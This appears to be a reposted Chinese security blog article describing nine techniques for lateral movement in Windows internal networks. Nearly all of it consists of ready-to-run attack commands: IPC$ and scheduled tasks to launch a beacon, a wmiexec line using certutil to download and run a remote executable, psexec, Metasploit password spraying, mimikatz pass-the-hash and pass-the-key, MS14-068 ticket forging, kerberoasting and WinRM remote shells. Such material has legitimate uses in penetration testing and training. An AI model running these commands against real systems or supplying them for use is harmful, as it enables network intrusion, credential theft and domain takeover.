深扒干货丨内网横向移动的九种方式
2021-12-03 13:36:05 Author: mp.weixin.qq.com(查看原文) 阅读量:31 收藏

文章作者:l1ch

原文来源 :国科漏斗社区

实验环境
1-4 所用环境如下:

5-9 所用环境如下:

1.IPC横向

IPC(Internet Process Connection)共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,使用139、445端口。
1.1 利用条件

1、目标机开启了139445端口;

2、目标主机管理员开启了ipc$默认共享;

3、知道目标机的账户密码。

1.2 命令

建立IPC连接命令:

net use \\191.168.52.136\ipc$ "password" /user:"Administrator"

断开连接:

net use \\x.x.x.x\ipc$ /del

查看连接是否建立:

net use

建立IPC连接后可以使用计划任务执行木马上线。

拷贝木马:

copy beacon.exe \\191.168.52.136\c$

创建计划任务(at<2012、schtasks>=2012):

at \\191.168.52.136 15:47 c:\beacon.exe

2.WMI横向

WMI全称“windows管理规范”,从win2003开始一直存在。它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动。
2.1利用条件

1、WMI服务开启,端口135,默认开启。

2、防火墙允许135445等端口通信。

3、知道目标机的账户密码。

2.2wmic

wmic /node:191.168.52.136 /user:xxxx /password:xxxxx  process call create "cmd.exe /c ipconfig>d:\result.txt"

无需上传第三方软件,利用系统内置程序,单命令执行,执行后无结果回显

2.3 cscript

cscript //nologo wmiexec.vbs /shell 191.168.52.136 <username> <password>

需上传wmiexec.vbs然后进入该服务器内进行执行

2.4 wmiexec

1.执行命令:

python wmiexec.py ./<username>:<password>@192.168.52.136 "cmd.exe /c certutil -urlcache -split -f   http://192.168.52.137:8090/wmi.exe C:\wmi.exe"

2.用hash的方式:

python wmiexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./[email protected]192.168.52.136 "whoami"

第三方软件 (交互式&单执行),容易被杀

3.smb横向

利用SMB服务可以通过明文或hash传递来远程执行。
3.1 利用条件

1445端口开放

2、知道账号密码

3.2 psexec(微软官方工具)

PsExec64.exe \\192.168.52.136 -u <username> -p <password> -s cmd

3.3 psexec(impacket工具)

python psexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./[email protected]192.168.52.136

3.4 smbexec

python smbexec.py ./<username>:<password>@192.168.52.136

4.密码喷洒

4.1利用metasploit进行密码喷洒

msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp

msf6 exploit(windows/smb/psexec) > set smbuser user.txt

msf6 exploit(windows/smb/psexec) > set smbpass password.txt

msf6 exploit(windows/smb/psexec) > set rhost 192.168.52.0/24

msf6 exploit(windows/smb/psexec) > run

5.PTH-哈希传递

PTH,即Pass The Hash,通过找到与账号相关的密码散列值(通常是NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。
5.1 利用条件

1、在工作组环境中:

Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。

Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问

2、在域环境中:

只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器

如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1

5.2 MiMiKatz-PTH

1. mimikatz privilege::debug

2. mimikatz sekurlsa::pth /user:administrator /domain:goksec.org /ntlm:8a963371a63944419ec1adf687bb1be5

3. steal_token PID

6.PTK-mimiKatZ

即Pass The Key ,当系统安装了KB2871997补丁且禁用了NTLM的时候,那我们抓取到的ntlm hash.也就失去了作用,但是可以通过pass the key的攻击方式获得权限。
761 利用条件

获取用户的aes key

mimikatz sekurlsa::ekeys

sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"

成功后会返回一个cmd

7.PtT-票据传递(ms14-068)

7.1 利用条件

1.域控没有打MS14-068的补丁(KB3011780)

2.拿下一台加入域的计算机

3.有这台域内计算机的域用户密码和Sid

7.2 利用步骤

先清空当前机器的票据信息

mimikatz kerberos::list //列出当前票据

mimikatz kerberos::purge //清除票据

然后查看本机的sid

whoami /all

ms14-068生成tgt票据

ms14-068.exe -u [email protected] -p [email protected]2021 -s S-1-5-21-1797401017-738776913-2751391128-1106 -d DC.goksec.org

导入票据

mimikatz kerberos::ptc <<TGTNAME>>

使用如下命令,可成功读取域控主机C盘目录下文件

shell dir \\DC.goksec.org\c$

8.kerberoast攻击

攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。
8.1 如何得到域中的SPN?

1. setspn -q */*

2. cscript GetUserSPNs.vbs

8.2 请求服务票据

mimikatz kerberos::ask /target:<HOST/OWA>

8.3 导出票据

mimikatz kerberos::list /export

8.4 破解服务票据:

python3 tgsrepcrack.py password.txt xxxx.kirbi

9.WinRM横向

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。
9.1 利用条件

1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。

2、防火墙对59865985端口开放。

9.2 CMD执行

winrs -r:192.168.52.10 -u:192.168.52.10\用户名 -p:xxxxx "ipconfig"

获取交互式shell

winrs -r:192.168.52.10 -u:192.168.52.10\用户名 -p:xxxxx cmd

10.相关资源

https://www.freebuf.com/articles/system/174967.html

https://github.com/nidem/kerberoast

https://github.com/xan7r/kerberoast

https://github.com/SecureAuthCorp/impacket

https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

侵权请私聊公众号删文



文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650528714&idx=2&sn=ec9893897566c946abf8c607e8cea457&chksm=83babe2eb4cd3738d735e4c230f9c55bcfac24563a73e4f9320bb156a69ca4d2303188452be3#rd
如有侵权请联系:admin#unsafe.sh